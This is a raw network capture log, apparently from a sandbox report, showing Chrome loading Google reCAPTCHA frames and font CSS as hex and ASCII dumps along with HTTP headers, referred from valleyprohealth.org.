2024-04-24 12:45:31 UTC	1255	IN	Data Raw: 30 41 42 3b 0a 7d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 47 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 31 30 30 2d 30 32 41 46 2c 20 55 2b 30 33 30 34 2c 20 55 2b 30 33 30 38 2c 20 55 2b 30 33 32 39 2c 20 55 2b 31 45 30 30 Data Ascii: 0AB;}/* latin-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E00
2024-04-24 12:45:31 UTC	1255	IN	Data Raw: 2b 30 34 42 30 2d 30 34 42 31 2c 20 55 2b 32 31 31 36 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 43 42 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 31 46 30 30 2d 31 46 46 46 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 20 Data Ascii: +04B0-04B1, U+2116;}/* greek-ext /@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF;}/ greek
2024-04-24 12:45:31 UTC	1255	IN	Data Raw: 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 42 42 63 34 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 30 30 30 2d 30 30 46 46 2c 20 55 2b 30 31 33 31 2c 20 55 2b 30 31 35 32 2d 30 31 35 33 2c 20 55 2b 30 32 42 42 2d 30 32 42 43 2c 20 55 2b 30 32 43 36 2c 20 55 2b 30 32 44 41 2c 20 55 2b 30 32 44 43 2c 20 55 2b 30 Data Ascii: e { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0
2024-04-24 12:45:31 UTC	1255	IN	Data Raw: 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 59 55 74 66 42 78 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 33 37 30 2d 30 33 37 37 2c 20 55 2b 30 33 37 41 2d 30 33 37 46 2c 20 55 2b 30 33 38 34 2d 30 33 38 41 2c 20 55 2b 30 33 38 43 2c 20 55 2b 30 33 38 45 2d 30 33 41 31 2c 20 55 2b 30 33 41 33 2d 30 33 46 46 3b 0a 7d 0a 2f 2a 20 76 69 65 74 6e 61 6d 65 73 65 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a Data Ascii: ic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-0377, U+037A-037F, U+0384-038A, U+038C, U+038E-03A1, U+03A3-03FF;}/* vietnamese */@font-face { font-family: 'Roboto'; font-style: normal; font-weight:
2024-04-24 12:45:31 UTC	1255	IN	Data Raw: 0a 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 51 6f 75 6b 48 35 6a 53 4f 33 73 4b 46 7a 56 45 41 37 56 63 38 56 67 43 2f 73 74 79 6c 65 73 5f 5f 6c 74 72 2e 63 73 73 22 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 31 75 57 6c 46 45 61 39 63 6d 30 33 35 6c 69 62 45 42 5a 67 72 41 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 77 69 6e 64 6f 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 20 3d 20 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d Data Ascii: </style><link rel="stylesheet" type="text/css" href="https://www.gstatic.com/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/styles__ltr.css"><script nonce="1uWlFEa9cm035libEBZgrA" type="text/javascript">window['__recaptcha_api'] = 'https://www.google.com
2024-04-24 12:45:31 UTC	1255	IN	Data Raw: 7a 51 31 70 50 59 4d 31 62 53 35 61 4a 46 6d 6d 4a 47 65 44 49 79 56 71 71 6d 4a 4a 37 42 52 50 58 52 66 44 50 76 6b 45 4d 50 6d 4f 78 38 57 2d 32 6f 4e 4e 57 64 5f 66 58 43 33 48 61 58 54 7a 49 61 66 59 4e 48 6c 31 48 57 76 61 5f 4d 74 6d 5f 43 49 42 4b 37 74 74 49 6d 4f 38 59 50 43 51 32 6e 55 43 56 36 51 49 4f 41 7a 79 37 5f 5f 57 67 4f 72 76 73 6f 41 4b 32 63 63 31 33 31 38 66 34 51 58 30 34 74 31 43 46 6a 67 75 58 78 46 31 32 4f 6d 36 69 5f 75 6a 6a 74 4c 59 65 5f 35 72 61 61 79 51 31 4f 5a 70 77 4b 65 30 39 30 67 4b 46 44 4b 45 5f 68 61 76 41 64 6c 6e 34 6b 56 79 45 4a 4a 48 5f 58 73 63 6c 35 68 50 62 68 78 45 38 54 47 6d 44 53 32 59 73 73 43 44 4b 49 65 50 63 76 43 4f 51 5a 54 65 6f 44 32 34 30 66 4a 46 42 36 56 45 48 53 4e 4d 46 69 79 34 6e 57 47 Data Ascii: zQ1pPYM1bS5aJFmmJGeDIyVqqmJJ7BRPXRfDPvkEMPmOx8W-2oNNWd_fXC3HaXTzIafYNHl1HWva_Mtm_CIBK7ttImO8YPCQ2nUCV6QIOAzy7__WgOrvsoAK2cc1318f4QX04t1CFjguXxF12Om6i_ujjtLYe_5raayQ1OZpwKe090gKFDKE_havAdln4kVyEJJH_Xscl5hPbhxE8TGmDS2YssCDKIePcvCOQZTeoD240fJFB6VEHSNMFiy4nWG
2024-04-24 12:45:31 UTC	1255	IN	Data Raw: 59 55 70 6d 50 43 33 42 36 71 76 49 6e 2d 41 51 46 6c 53 57 33 46 51 22 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 31 75 57 6c 46 45 61 39 63 6d 30 33 35 6c 69 62 45 42 5a 67 72 41 22 3e 0a 20 20 20 20 20 20 72 65 63 61 70 74 63 68 61 2e 61 6e 63 68 6f 72 2e 4d 61 69 6e 2e 69 6e 69 74 28 22 5b 5c 78 32 32 61 69 6e 70 75 74 5c 78 32 32 2c 5b 5c 78 32 32 62 67 64 61 74 61 5c 78 32 32 2c 5c 78 32 32 4c 79 39 33 64 33 63 75 5a 32 39 76 5a 32 78 6c 4c 6d 4e 76 62 53 39 71 63 79 39 69 5a 79 38 32 53 6b 73 33 55 47 74 6f 55 56 42 71 5a 30 64 6c 51 6c 70 78 65 55 68 4c 51 31 4e 58 64 55 70 4c 52 44 56 61 53 6d 31 47 58 32 74 36 62 56 41 35 55 57 78 57 4d 55 52 5a 4c 6d 70 7a 5c 78 32 32 Data Ascii: YUpmPC3B6qvIn-AQFlSW3FQ"><script type="text/javascript" nonce="1uWlFEa9cm035libEBZgrA"> recaptcha.anchor.Main.init("[\x22ainput\x22,[\x22bgdata\x22,\x22Ly93d3cuZ29vZ2xlLmNvbS9qcy9iZy82Sks3UGtoUVBqZ0dlQlpxeUhLQ1NXdUpLRDVaSm1GX2t6bVA5UWxWMURZLmpz\x22
2024-04-24 12:45:31 UTC	590	IN	Data Raw: 4e 48 57 58 68 6f 4d 54 5a 75 4e 6c 49 76 62 6d 74 78 64 55 68 43 4f 46 56 54 56 31 56 68 4e 46 5a 51 55 48 5a 58 65 46 6c 7a 52 56 42 6b 65 56 56 6b 61 56 6f 76 52 58 5a 56 59 6b 5a 4c 5a 44 46 71 59 31 56 42 62 57 70 47 53 45 6c 71 51 56 6f 77 65 55 31 69 62 45 35 72 62 54 64 6f 59 6d 5a 58 4d 32 45 76 55 56 6b 32 4d 6b 64 78 61 6c 4a 48 55 47 5a 53 54 46 6c 58 51 6b 64 5a 53 47 64 6f 64 46 41 35 62 6a 4e 6b 64 57 52 52 65 6e 4e 78 61 6d 52 78 59 58 4a 4d 63 6d 78 58 65 44 5a 36 4d 7a 5a 6c 4e 45 59 76 64 6b 39 6a 65 45 4e 55 59 55 4a 4c 56 6d 74 42 65 6a 64 34 51 57 78 7a 55 56 56 52 65 6d 77 34 54 6b 52 52 5a 6d 78 47 4e 6d 52 74 5a 54 6b 34 54 32 31 46 52 6e 70 32 4e 6a 4a 36 56 54 5a 36 62 6d 38 7a 5a 30 56 35 65 58 4a 56 4d 55 55 76 56 6c 4a 4b 57 Data Ascii: NHWXhoMTZuNlIvbmtxdUhCOFVTV1VhNFZQUHZXeFlzRVBkeVVkaVovRXZVYkZLZDFqY1VBbWpGSElqQVoweU1ibE5rbTdoYmZXM2EvUVk2MkdxalJHUGZSTFlXQkdZSGdodFA5bjNkdWRRenNxamRxYXJMcmxXeDZ6MzZlNEYvdk9jeENUYUJLVmtBejd4QWxzUVVRemw4TkRRZmxGNmRtZTk4T21FRnp2NjJ6VTZ6bm8zZ0V5eXJVMUUvVlJKW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
331	192.168.2.4	50220	142.250.101.99	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:33 UTC	1166	OUT	GET /recaptcha/api2/bframe?hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AKPP-6df3iLGsJeeL1ZhHsDkSUGdkAxFQ0QUTQ5TeldRivfX23JUPR2AxDr3G7Qouv7-NQQVq71Tl6HC3imi85E; NID=513=UOTnu3DTHjkAMN_AKxC1bWfz-TMuAkBQHuEWud0wYNbyadN-jsgCI4rVwUD5kj6TumhiT2jGUOqwnycr9nLPAvIATSjM6wIk2x1A1W3OuupDJ9gyLGRtuU80fQEcLJrLlPv7XkjqU9ZpIRQu9Ui7rvqFgr7a4QC3umozUl1sS9E
2024-04-24 12:45:33 UTC	891	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 24 Apr 2024 12:45:33 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-SpBTOp2bxr01U40Ip3g6rw' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/recaptcha/1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-24 12:45:33 UTC	364	IN	Data Raw: 31 64 31 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 0a 3c 74 69 74 6c 65 3e 72 65 43 41 50 54 43 48 41 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 Data Ascii: 1d11<!DOCTYPE HTML><html dir="ltr" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title>reCAPTCHA</title><style type="text/css">/* cyrillic-ext */@font-face
2024-04-24 12:45:33 UTC	1255	IN	Data Raw: 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 32 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 34 36 30 2d 30 35 32 46 2c 20 55 2b 31 43 38 30 2d 31 43 38 38 2c 20 55 2b 32 30 42 34 2c 20 55 2b 32 44 45 30 2d 32 44 46 46 2c 20 55 2b 41 36 34 30 2d 41 36 39 46 2c 20 55 2b 46 45 32 45 2d 46 45 32 46 3b 0a 7d 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e Data Ascii: v18/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;}/* cyrillic */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fon
2024-04-24 12:45:33 UTC	1255	IN	Data Raw: 32 30 41 42 3b 0a 7d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 47 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 31 30 30 2d 30 32 41 46 2c 20 55 2b 30 33 30 34 2c 20 55 2b 30 33 30 38 2c 20 55 2b 30 33 32 39 2c 20 55 2b 31 45 30 Data Ascii: 20AB;}/* latin-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E0
2024-04-24 12:45:33 UTC	1255	IN	Data Raw: 55 2b 30 34 42 30 2d 30 34 42 31 2c 20 55 2b 32 31 31 36 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 43 42 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 31 46 30 30 2d 31 46 46 46 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b Data Ascii: U+04B0-04B1, U+2116;}/* greek-ext /@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF;}/ greek
2024-04-24 12:45:33 UTC	1255	IN	Data Raw: 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 42 42 63 34 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 30 30 30 2d 30 30 46 46 2c 20 55 2b 30 31 33 31 2c 20 55 2b 30 31 35 32 2d 30 31 35 33 2c 20 55 2b 30 32 42 42 2d 30 32 42 43 2c 20 55 2b 30 32 43 36 2c 20 55 2b 30 32 44 41 2c 20 55 2b 30 32 44 43 2c 20 55 2b Data Ascii: ce { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+
2024-04-24 12:45:33 UTC	1255	IN	Data Raw: 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 59 55 74 66 42 78 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 33 37 30 2d 30 33 37 37 2c 20 55 2b 30 33 37 41 2d 30 33 37 46 2c 20 55 2b 30 33 38 34 2d 30 33 38 41 2c 20 55 2b 30 33 38 43 2c 20 55 2b 30 33 38 45 2d 30 33 41 31 2c 20 55 2b 30 33 41 33 2d 30 33 46 46 3b 0a 7d 0a 2f 2a 20 76 69 65 74 6e 61 6d 65 73 65 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 Data Ascii: tic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-0377, U+037A-037F, U+0384-038A, U+038C, U+038E-03A1, U+03A3-03FF;}/* vietnamese */@font-face { font-family: 'Roboto'; font-style: normal; font-weight
2024-04-24 12:45:33 UTC	810	IN	Data Raw: 7d 0a 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 51 6f 75 6b 48 35 6a 53 4f 33 73 4b 46 7a 56 45 41 37 56 63 38 56 67 43 2f 73 74 79 6c 65 73 5f 5f 6c 74 72 2e 63 73 73 22 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 53 70 42 54 4f 70 32 62 78 72 30 31 55 34 30 49 70 33 67 36 72 77 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 77 69 6e 64 6f 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 20 3d 20 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f Data Ascii: }</style><link rel="stylesheet" type="text/css" href="https://www.gstatic.com/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/styles__ltr.css"><script nonce="SpBTOp2bxr01U40Ip3g6rw" type="text/javascript">window['__recaptcha_api'] = 'https://www.google.co
2024-04-24 12:45:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
332	192.168.2.4	50227	142.250.101.99	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:34 UTC	1155	OUT	POST /recaptcha/api2/reload?k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1 Host: www.google.com Connection: keep-alive Content-Length: 8742 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-protobuffer Accept: / Origin: https://www.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AKPP-6df3iLGsJeeL1ZhHsDkSUGdkAxFQ0QUTQ5TeldRivfX23JUPR2AxDr3G7Qouv7-NQQVq71Tl6HC3imi85E; NID=513=UOTnu3DTHjkAMN_AKxC1bWfz-TMuAkBQHuEWud0wYNbyadN-jsgCI4rVwUD5kj6TumhiT2jGUOqwnycr9nLPAvIATSjM6wIk2x1A1W3OuupDJ9gyLGRtuU80fQEcLJrLlPv7XkjqU9ZpIRQu9Ui7rvqFgr7a4QC3umozUl1sS9E
2024-04-24 12:45:34 UTC	8742	OUT	Data Raw: 0a 18 51 6f 75 6b 48 35 6a 53 4f 33 73 4b 46 7a 56 45 41 37 56 63 38 56 67 43 12 a4 0f 30 33 41 46 63 57 65 41 36 73 4c 42 75 55 54 47 75 6c 38 70 77 4a 6a 6e 43 33 67 48 76 63 5f 4e 70 57 6d 70 47 79 7a 32 51 58 55 64 52 38 57 4c 6a 2d 39 68 62 79 30 7a 76 5f 52 79 67 6b 43 56 7a 58 4e 54 4e 6a 47 4e 76 33 49 6d 6b 30 49 65 4b 6d 41 4d 6f 57 6a 6d 71 5f 73 5f 38 5a 4a 50 68 43 70 79 75 71 66 5f 64 48 59 6b 76 57 6a 73 4f 69 5a 7a 2d 50 72 79 4e 6e 52 31 55 39 31 33 4f 54 61 4a 50 48 65 5f 6d 57 67 54 59 54 6e 64 4f 53 74 30 51 32 73 77 46 36 49 39 44 4f 46 6a 45 67 72 43 56 4a 58 70 4a 39 62 48 74 35 2d 51 59 37 5f 69 5f 6a 63 47 75 58 5a 31 70 36 30 56 49 4d 73 37 36 45 7a 4c 64 32 72 57 78 79 56 6d 63 33 70 68 65 30 66 79 4c 47 49 5a 75 31 58 63 48 77 Data Ascii: 